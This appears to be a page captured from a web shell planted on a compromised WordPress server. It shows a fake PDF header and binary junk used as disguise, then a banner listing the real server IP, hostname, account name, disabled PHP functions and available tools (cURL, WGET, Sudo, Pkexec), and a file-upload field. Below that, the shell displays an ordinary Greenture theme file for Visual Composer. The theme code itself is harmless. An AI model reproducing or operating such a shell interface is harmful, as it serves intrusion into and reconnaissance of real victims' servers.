...........................................................................................................................................................................................................................................................................................................................@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%PDF-1.5 MRK IS HERE %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
| Server IP : 65.108.66.160 / Your IP : 216.73.217.50 Web Server : Apache System : Linux srv16.asso.com.ar 4.18.0-553.123.1.el8_10.x86_64 #1 SMP Tue May 5 04:00:43 EDT 2026 x86_64 User : alasaweborg ( 1047) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/alasaweborg/public_html/wp-content/themes/greenture/vc_includes/ |
Upload File : |
<?php
/**
* Force Visual Composer to initialize as "built into the theme".
* This will hide certain tabs under the Settings -> Visual Composer
*/
if( function_exists('vc_set_as_theme') ) {
function greenture_vcSetAsTheme() {
vc_set_as_theme( $disable_updater = true );
}
add_action( 'vc_before_init', 'greenture_vcSetAsTheme' );
}
// Get VC CSS Animation
function greenture_vc_animation( $css_animation ) {
$output = '';
if ( $css_animation != '' ) {
wp_enqueue_script( 'waypoints' );
$output = ' wpb_animate_when_almost_visible wpb_' . $css_animation;
}
return $output;
}
function greenture_vc_add_extra_attr() {
/**
* Add background style to VC Row
*/
vc_add_param( 'vc_row', array(
'type' => 'dropdown',
'heading' => esc_html__( 'Background Style', 'greenture' ),
'param_name' => 'background_style',
'value' => array(
esc_html__( 'Standard Settings', 'greenture' ) => 'tpath-standard',
esc_html__( 'Primary Background Color', 'greenture' ) => 'primary-color',
esc_html__( 'Primary Dark Background Color', 'greenture' ) => 'primary-dark-color',
esc_html__( 'Background Overlay', 'greenture' ) => 'overlay-wrapper',
esc_html__( 'Dark Background', 'greenture' ) => 'dark-wrapper',
esc_html__( 'Grey Background', 'greenture' ) => 'grey-wrapper',
esc_html__( 'White Background', 'greenture' ) => 'white-wrapper',
),
) );
vc_add_param( 'vc_row', array(
'type' => 'dropdown',
'heading' => esc_html__( 'Overlay Color', 'greenture' ),
'param_name' => 'bg_overlay_style',
'value' => array(
esc_html__( 'Theme Color', 'greenture' ) => 'theme-overlay-color',
esc_html__( 'Theme Dark Color', 'greenture' ) => 'theme-dark-overlay-color',
esc_html__( 'Dark Color', 'greenture' ) => 'dark-overlay-color',
esc_html__( 'Black Color', 'greenture' ) => 'black-overlay-color',
esc_html__( 'White Color', 'greenture' ) => 'white-overlay-color',
),
'dependency' => array(
'element' => 'background_style',
'value' => array( 'overlay-wrapper' ),
),
) );
vc_add_param( 'vc_row', array(
'type' => 'dropdown',
'heading' => esc_html__( 'Overlay Opacity', 'greenture' ),
'param_name' => 'bg_overlay_opacity',
'value' => array(
esc_html__( 'Light Opacity', 'greenture' ) => 'light-opacity',
esc_html__( 'Dark Opacity', 'greenture' ) => 'dark-opacity',
),
'dependency' => array(
'element' => 'background_style',
'value' => array( 'overlay-wrapper' ),
),
) );
vc_add_param( 'vc_row', array(
'type' => 'checkbox',
'heading' => esc_html__( 'Enable Shape', 'greenture' ),
'param_name' => 'column_shape',
'value' => array(
esc_html__( 'Yes', 'greenture' ) => 'yes',
),
) );
vc_add_param( 'vc_row', array(
'type' => 'dropdown',
'heading' => esc_html__( 'Shape Background Color', 'greenture' ),
'param_name' => 'shape_bgcolor',
'value' => array(
esc_html__( 'Standard Settings', 'greenture' ) => 'tpath-standard',
esc_html__( 'Primary Background Color', 'greenture' ) => 'primary-color',
esc_html__( 'Primary Dark Background Color', 'greenture' ) => 'primary-dark-color',
esc_html__( 'Background Overlay', 'greenture' ) => 'overlay-wrapper',
esc_html__( 'Dark Background', 'greenture' ) => 'dark-wrapper',
esc_html__( 'Grey Background', 'greenture' ) => 'grey-wrapper',
esc_html__( 'White Background', 'greenture' ) => 'white-wrapper',
),
'dependency' => array(
'element' => 'column_shape',
'value' => array( 'yes' ),
),
) );
vc_add_param( 'vc_row', array(
'type' => 'dropdown',
'heading' => esc_html__( 'Center Row Content', 'greenture' ),
'param_name' => 'center_row',
'value' => array(
esc_html__( 'Yes', 'greenture' ) => 'yes',
esc_html__( 'No', 'greenture' ) => 'no',
),
'description' => esc_html__( 'Use this option to add container and center the inner content. Useful when using full-width pages.', 'greenture' ),
) );
vc_add_param( 'vc_row', array(
'type' => 'dropdown',
'heading' => esc_html__( 'Equal Height', 'greenture' ),
'param_name' => 'match_height',
'value' => array(
esc_html__( 'No', 'greenture' ) => 'no',
esc_html__( 'Yes', 'greenture' ) => 'yes',
),
'description' => esc_html__( 'Use this option to make all column in equal height.', 'greenture' ),
) );
vc_add_param( 'vc_row', vc_map_add_css_animation( $label = false ) );
vc_remove_param( 'vc_row', 'equal_height' );
/**
* Add options to VC Column
*/
vc_add_param( 'vc_column', array(
'type' => 'dropdown',
'heading' => esc_html__( 'Background Style', 'greenture' ),
'param_name' => 'column_bg',
'value' => array(
esc_html__( 'Default', 'greenture' ) => 'column-bg-default',
esc_html__( 'Primary Background Color', 'greenture' ) => 'primary-color',
esc_html__( 'Primary Dark Background Color', 'greenture' ) => 'primary-dark-color',
esc_html__( 'Background Overlay', 'greenture' ) => 'overlay-wrapper',
esc_html__( 'Dark Background', 'greenture' ) => 'dark-wrapper',
esc_html__( 'Grey Background', 'greenture' ) => 'grey-wrapper',
esc_html__( 'White Background', 'greenture' ) => 'white-wrapper',
),
) );
vc_add_param( 'vc_column', array(
'type' => 'dropdown',
'heading' => esc_html__( 'Overlay Color', 'greenture' ),
'param_name' => 'bg_overlay_style',
'value' => array(
esc_html__( 'Theme Color', 'greenture' ) => 'theme-overlay-color',
esc_html__( 'Theme Dark Color', 'greenture' ) => 'theme-dark-overlay-color',
esc_html__( 'Dark Color', 'greenture' ) => 'dark-overlay-color',
esc_html__( 'Black Color', 'greenture' ) => 'black-overlay-color',
esc_html__( 'White Color', 'greenture' ) => 'white-overlay-color',
),
'dependency' => array(
'element' => 'column_bg',
'value' => array( 'overlay-wrapper' ),
),
) );
vc_add_param( 'vc_column', array(
'type' => 'dropdown',
'heading' => esc_html__( 'Overlay Opacity', 'greenture' ),
'param_name' => 'bg_overlay_opacity',
'value' => array(
esc_html__( 'Light Opacity', 'greenture' ) => 'light-opacity',
esc_html__( 'Dark Opacity', 'greenture' ) => 'dark-opacity',
),
'dependency' => array(
'element' => 'column_bg',
'value' => array( 'overlay-wrapper' ),
),
) );
vc_add_param( 'vc_column', array(
'type' => 'dropdown',
'heading' => esc_html__( 'Typography Style', 'greenture' ),
'param_name' => 'typo_style',
'value' => array(
esc_html__( 'Default', 'greenture' ) => 'default',
esc_html__( 'Dark Color', 'greenture' ) => 'dark',
esc_html__( 'Grey Color', 'greenture' ) => 'grey',
esc_html__( 'White Color', 'greenture' ) => 'white',
),
) );
vc_add_param( 'vc_column', vc_map_add_css_animation( $label = false) );
/**
* Section
*/
vc_remove_param( 'vc_tta_section', 'el_class' );
vc_add_param( 'vc_tta_section', array(
"type" => "dropdown",
"heading" => esc_html__( "Icon library", "greenture" ),
"value" => array(
esc_html__( "Font Awesome", "greenture" ) => "fontawesome",
esc_html__( 'Open Iconic', 'greenture' ) => 'openiconic',
esc_html__( 'Typicons', 'greenture' ) => 'typicons',
esc_html__( 'Entypo', 'greenture' ) => 'entypo',
esc_html__( "Lineicons", "greenture" ) => "lineicons",
esc_html__( "Flaticons", "greenture" ) => "flaticons",
esc_html__( "Themeicons", "greenture" ) => "themeicons",
),
"admin_label" => true,
"param_name" => "i_type",
"dependency" => array(
"element" => "add_icon",
"value" => "true",
),
"description" => esc_html__( "Select icon library.", "greenture" ),
) );
vc_add_param( 'vc_tta_section', array(
"type" => 'iconpicker',
"heading" => esc_html__( "Icon", "greenture" ),
"param_name" => "i_icon_lineicons",
"value" => "",
"settings" => array(
"emptyIcon" => true,
"type" => 'simpleicons',
"iconsPerPage" => 4000,
),
"dependency" => array(
"element" => "i_type",
"value" => "lineicons",
),
"description" => esc_html__( "Select icon from library.", "greenture" ),
) );
vc_add_param( 'vc_tta_section', array(
"type" => 'iconpicker',
"heading" => esc_html__( "Icon", "greenture" ),
"param_name" => "i_icon_themeicons",
"value" => "",
"settings" => array(
"emptyIcon" => true,
"type" => 'themeicons',
"iconsPerPage" => 4000,
),
"dependency" => array(
"element" => "i_type",
"value" => "themeicons",
),
"description" => esc_html__( "Select icon from library.", "greenture" ),
) );
vc_add_param( 'vc_tta_section', array(
"type" => 'iconpicker',
"heading" => esc_html__( "Icon", "greenture" ),
"param_name" => "i_icon_flaticons",
"value" => "",
"settings" => array(
"emptyIcon" => true,
"type" => 'flaticons',
"iconsPerPage" => 4000,
),
"dependency" => array(
"element" => "i_type",
"value" => "flaticons",
),
"description" => esc_html__( "Select icon from library.", "greenture" ),
) );
vc_add_param( 'vc_tta_section', array(
'type' => 'textfield',
'heading' => esc_html__( 'Extra class name', 'greenture' ),
'param_name' => 'el_class',
'description' => esc_html__( 'If you wish to style particular content element differently, then use this field to add a class name and then refer to it in your css file.', 'greenture' )
) );
/**
* Add Style to VC Tour
*/
vc_add_param( 'vc_tta_tour', array(
'type' => 'dropdown',
'param_name' => 'style',
'value' => array(
esc_html__( 'Custom Theme Style', 'greenture' ) => 'tpath_tour_design',
esc_html__( 'Classic', 'greenture' ) => 'classic',
esc_html__( 'Modern', 'greenture' ) => 'modern',
esc_html__( 'Flat', 'greenture' ) => 'flat',
esc_html__( 'Outline', 'greenture' ) => 'outline',
),
'heading' => esc_html__( 'Style', 'greenture' ),
'description' => esc_html__( 'Select tour display style.', 'greenture' ),
) );
/**
* Button
*/
vc_add_param( 'vc_btn', array(
"type" => "dropdown",
'heading' => esc_html__( 'Style', 'greenture' ),
'description' => esc_html__( 'Select button display style.', 'greenture' ),
'value' => array(
esc_html__( 'Default Border', 'greenture' ) => 'border',
esc_html__( 'Background', 'greenture' ) => 'background',
esc_html__( 'Modern', 'greenture' ) => 'modern',
esc_html__( 'Classic', 'greenture' ) => 'classic',
esc_html__( 'Flat', 'greenture' ) => 'flat',
esc_html__( 'Outline', 'greenture' ) => 'outline',
esc_html__( '3d', 'greenture' ) => '3d',
esc_html__( 'Outline custom', 'greenture' ) => 'outline-custom',
),
"param_name" => "style",
) );
vc_add_param( 'vc_btn', array(
'type' => 'dropdown',
'heading' => esc_html__( 'Color', 'greenture' ),
'param_name' => 'color',
'description' => esc_html__( 'Select button color.', 'greenture' ),
// compatible with btn2, need to be converted from btn1
'param_holder_class' => 'vc_colored-dropdown vc_btn3-colored-dropdown',
'value' => array(
// Theme Colors
esc_html__( 'Theme Color', 'greenture' ) => 'theme_color',
esc_html__( 'White', 'greenture' ) => 'white',
esc_html__( 'Black', 'greenture' ) => 'black',
// Btn1 Colors
esc_html__( 'Classic Grey', 'greenture' ) => 'default',
esc_html__( 'Classic Blue', 'greenture' ) => 'primary',
esc_html__( 'Classic Turquoise', 'greenture' ) => 'info',
esc_html__( 'Classic Green', 'greenture' ) => 'success',
esc_html__( 'Classic Orange', 'greenture' ) => 'warning',
esc_html__( 'Classic Red', 'greenture' ) => 'danger',
esc_html__( 'Classic Black', 'greenture' ) => "inverse"
// + Btn2 Colors (default color set)
) + getVcShared( 'colors-dashed' ),
'std' => 'primary-bg',
// must have default color grey
'dependency' => array(
'element' => 'style',
'value_not_equal_to' => array( 'custom', 'outline-custom' )
),
) );
/**
* Accordion
*/
vc_add_param( 'vc_tta_accordion', array(
'type' => 'dropdown',
'param_name' => 'style',
'value' => array(
esc_html__( 'Theme Style', 'greenture' ) => 'theme_style',
esc_html__( 'Classic', 'greenture' ) => 'classic',
esc_html__( 'Modern', 'greenture' ) => 'modern',
esc_html__( 'Flat', 'greenture' ) => 'flat',
esc_html__( 'Outline', 'greenture' ) => 'outline',
),
'heading' => esc_html__( 'Style', 'greenture' ),
'description' => esc_html__( 'Select accordion display style.', 'greenture' ),
) );
vc_add_param( 'vc_tta_accordion', array(
'type' => 'dropdown',
'heading' => esc_html__( 'Icon', 'greenture' ),
'param_name' => 'c_icon',
'value' => array(
esc_html__( 'Theme Style', 'greenture' ) => 'theme_style',
esc_html__( 'Chevron', 'greenture' ) => 'chevron',
esc_html__( 'Plus', 'greenture' ) => 'plus',
esc_html__( 'Triangle', 'greenture' ) => 'triangle',
esc_html__( 'None', 'greenture' ) => '',
),
'description' => esc_html__( 'Select accordion navigation icon.', 'greenture' ),
) );
/**
* Call To Action
*/
vc_add_param( 'vc_cta', array(
'type' => 'dropdown',
'heading' => esc_html__( 'Style', 'greenture' ),
'param_name' => 'style',
'value' => array(
esc_html__( 'Default', 'greenture' ) => 'default',
esc_html__( 'Classic', 'greenture' ) => 'classic',
esc_html__( 'Flat', 'greenture' ) => 'flat',
esc_html__( 'Outline', 'greenture' ) => 'outline',
esc_html__( '3d', 'greenture' ) => '3d',
esc_html__( 'Custom', 'greenture' ) => 'custom',
),
'std' => 'default',
'description' => esc_html__( 'Select call to action display style.', 'greenture' ),
) );
vc_add_param( 'vc_cta', array(
"type" => "dropdown",
'heading' => esc_html__( 'Style', 'greenture' ),
'description' => esc_html__( 'Select button display style.', 'greenture' ),
'value' => array(
esc_html__( 'Default', 'greenture' ) => 'default',
esc_html__( 'Transparent', 'greenture' ) => 'transparent',
esc_html__( 'Modern', 'greenture' ) => 'modern',
esc_html__( 'Classic', 'greenture' ) => 'classic',
esc_html__( 'Flat', 'greenture' ) => 'flat',
esc_html__( 'Outline', 'greenture' ) => 'outline',
esc_html__( '3d', 'greenture' ) => '3d',
esc_html__( 'Custom', 'greenture' ) => 'custom',
esc_html__( 'Outline custom', 'greenture' ) => 'outline-custom',
),
'dependency' => array(
'element' => 'add_button',
'not_empty' => true,
),
"integrated_shortcode" => "vc_btn",
"integrated_shortcode_field" => "btn_",
"param_name" => "btn_style",
"group" => esc_html__( 'Button', 'greenture' ),
) );
/**
* Portfolio Categories
*/
if( GREENTURE_PORTFOLIO_ACTIVE ) {
$portfolio_args = array(
'post_type' => 'greenture_portfolio',
'orderby' => 'name',
'hide_empty' => 0,
'hierarchical' => 1,
'taxonomy' => 'portfolio_categories'
);
$portfolio_cats = get_categories( $portfolio_args );
$portfolio_cats_list = array( 'Show All Categories' => 'all' );
foreach( $portfolio_cats as $cat ) {
$portfolio_cats_list[$cat->name] = $cat->term_id;
}
$attributes = array(
"type" => "dropdown",
"heading" => esc_html__("Choose Portfolio Category", "greenture"),
"param_name" => "categories",
"value" => $portfolio_cats_list,
"description" => ''
);
vc_add_param('greenture_vc_portfolio', $attributes);
}
/**
* Team Categories
*/
if( GREENTURE_TEAM_ACTIVE ) {
$team_args = array(
'post_type' => 'greenture_team_member',
'orderby' => 'name',
'hide_empty' => 0,
'hierarchical' => 1,
'taxonomy' => 'team_member_categories'
);
$team_cats = get_categories( $team_args );
$team_cats_list = array( 'Show All Categories' => 'all' );
foreach( $team_cats as $team_cat ){
$team_cats_list[$team_cat->name] = $team_cat->term_id;
}
$attributes = array(
"type" => "dropdown",
"heading" => esc_html__("Choose Team Category", "greenture"),
"param_name" => "categories",
"value" => $team_cats_list,
"description" => ''
);
vc_add_param('greenture_vc_team', $attributes);
}
/**
* Testimonial Categories
*/
if( GREENTURE_TESTIMONIAL_ACTIVE ) {
$testimonial_args = array(
'post_type' => 'greenture_testimonial',
'orderby' => 'name',
'hide_empty' => 0,
'hierarchical' => 1,
'taxonomy' => 'testimonial_categories'
);
$testimonial_cats = get_categories( $testimonial_args );
$testimonial_cats_list = array( 'Show All Categories' => 'all' );
foreach( $testimonial_cats as $testimonial_cat ){
$testimonial_cats_list[$testimonial_cat->name] = $testimonial_cat->term_id;
}
$attributes = array(
"type" => "dropdown",
"heading" => esc_html__("Choose Testimonial Category", "greenture"),
"param_name" => "categories",
"value" => $testimonial_cats_list,
"description" => ''
);
vc_add_param('greenture_vc_testimonial', $attributes);
}
/**
* Client Categories
*/
if( GREENTURE_CLIENTS_ACTIVE ) {
$client_args = array(
'post_type' => 'greenture_clients',
'orderby' => 'name',
'hide_empty' => 0,
'hierarchical' => 1,
'taxonomy' => 'client_categories'
);
$client_cats = get_categories( $client_args );
$client_cats_list = array( 'Show All Categories' => 'all' );
foreach( $client_cats as $client_cat ){
$client_cats_list[$client_cat->name] = $client_cat->term_id;
}
$attributes = array(
"type" => "dropdown",
"heading" => esc_html__("Choose Client Category", "greenture"),
"param_name" => "categories",
"value" => $client_cats_list,
"description" => ''
);
vc_add_param('greenture_vc_clients', $attributes);
}
}
add_action('init', 'greenture_vc_add_extra_attr', 999);
/* =============================================================
* Add Custom Flaticons to VC
* ============================================================= */
if( ! function_exists('greenture_vc_custom_flaticons') ) {
function greenture_vc_custom_flaticons( $icons ) {
$pattern = '/\.(flaticon-(?:\w+(?:-)?)+):before\s+{\s*content:\s*"(.+)";\s+}/';
$flaticons_path = GREENTURE_THEME_URL . '/css/flaticon.css';
$response = wp_remote_get( $flaticons_path );
if( is_array($response) ) {
$subject = $response['body']; // use the content
}
preg_match_all($pattern, $subject, $matches, PREG_SET_ORDER);
$all_flaticons = array();
$all_new_flaticons = array();
foreach($matches as $match){
$all_flaticons['flaticon ' . $match[1]] = $match[1];
}
foreach($all_flaticons as $key => $value ){
$all_new_flaticons[] = array( $key => $value );
}
return array_merge( $icons, $all_new_flaticons );
}
}
//add_filter('vc_iconpicker-type-flaticons', 'greenture_vc_custom_flaticons', 10, 1);
/* =============================================================
* Add Simple Line Icons to VC
* ============================================================= */
if( ! function_exists('greenture_vc_custom_simpleicons') ) {
function greenture_vc_custom_simpleicons( $icons ) {
$pattern = '/\.(icon-(?:\w+(?:-)?)+):before\s+{\s*content:\s*"(.+)";\s+}/';
$simple_icons_path = GREENTURE_THEME_URL . '/css/simple-line-icons.css';
$response = wp_remote_get( $simple_icons_path );
if( is_array($response) ) {
$subject = $response['body']; // use the content
}
preg_match_all($pattern, $subject, $matches, PREG_SET_ORDER);
$all_simple_icons = array();
$simple_icons = array();
foreach($matches as $match){
$all_simple_icons['simple-icon ' . $match[1]] = $match[1];
}
foreach($all_simple_icons as $key => $value ){
$simple_icons[] = array( $key => $value );
}
return array_merge( $icons, $simple_icons );
}
}
//add_filter('vc_iconpicker-type-simpleicons', 'greenture_vc_custom_simpleicons', 10, 1);
/* =============================================================
* Add Simple Theme Icons to VC
* ============================================================= */
if( ! function_exists('greenture_vc_custom_theme_icons') ) {
function greenture_vc_custom_theme_icons( $icons ){
$pattern = '/\.(greenture-(?:\w+(?:-)?)+):before\s+{\s*content:\s*"(.+)";\s+}/';
$theme_icons_path = GREENTURE_THEME_URL . '/css/theme-icons.css';
$response = wp_remote_get( $theme_icons_path );
if( is_array( $response ) ) {
$subject = $response['body']; // use the content
}
preg_match_all( $pattern, $subject, $matches, PREG_SET_ORDER );
$all_theme_icons = array();
$theme_icons = array();
foreach( $matches as $match ){
$all_theme_icons['greenture ' . $match[1]] = $match[1];
}
foreach( $all_theme_icons as $key => $value ){
$theme_icons[] = array( $key => $value );
}
return array_merge( $icons, $theme_icons );
}
}
add_filter('vc_iconpicker-type-themeicons', 'greenture_vc_custom_theme_icons', 10, 1);